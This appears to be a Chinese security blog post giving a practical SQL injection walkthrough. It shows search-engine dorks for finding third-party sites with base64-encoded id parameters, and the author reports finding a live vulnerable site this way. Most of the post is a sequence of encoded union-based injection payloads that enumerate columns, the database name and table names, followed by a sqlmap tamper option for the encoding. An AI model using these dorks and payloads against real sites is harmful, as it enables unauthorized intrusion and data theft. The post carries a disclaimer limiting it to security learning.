本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
——鼹鼠
1.SQL注入是什么?
SQL注入是一种发生在Web程序中数据库层的安全漏洞,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至修改数据库。
简而言之,SQL注入是在用户输入的字符串中添加SQL语句,如果在设计不良的程序中忽略了检查,那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行,攻击者就可以执行计划外的命令或者访问未授权的数据。
2.搜集资产
在sql注入的传参是有明文的,有些是经过编码或者加密的,
所以搜索时不要仅限于
inurl:.php?id=1
可以尝试搜搜1的base64编码值MQ==,
即可以搜索
inurl:.php?id=MQ==
或者搜索1的md5加密值,即可以搜索
inrul:.php?id=a0b923820dcc509a
这样子搜索完,我们可测试的范围就扩大了。此处我就是利用
inurl:.php?id=MQ==
搜索到了一处存在sql注入的网站。
3.sql注入常规流程
判断字符型还是数字型
?
id
=MQ== (原始值为
1
)
?
id
=MeKAmQ== (原始值为
1
')
判断是否存在sql注入漏洞
?id=MSBhbmQgMT0x (原始值
1
and
1
=
1
) 有内容
?id=MSBhbmQgMT0y (原始值
1
and
1
=
2
) 没有内容,页面下方空白
判断列数
?id=MSBvcmRlciBieSAz (原始值
1
order
by
3
) 页面内容正常输出
?id=MSBvcmRlciBieSA0 (原始值
1
order
by
4
) 报错
判断显错位
?
id
=LTEgdW5pb24gc2VsZWN0IDEsMiwz (原始值
-1
union
select
1
,
2
,
3
)
在显错位2的位置上尝试获取当前数据库
?
id
=LTEgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwz (原始值
-1
union
select
1
,database(),
3
)
获取当前数据库中的表
id=LTEgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgp
原始值:-1 union
select
1
,
group_concat
(table_name),
3
from
information_schema.tables
where
table_schema=
database
()
接下来就是获取其中某一个表的字段名和字段值了,只需将相应的SQL语句进行BASE64编码,然后输入即可。
4.sqlmap验证
由于传参是需要进行base64编码的,所以此处我们在使用sqlmap的时候需要用到tamper脚本中的base64encode.py脚本,只需要在常规的语句中机上
--tamper base64encode.py
即可
原文始发于微信公众号(天盾信安):SQL实战注入思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论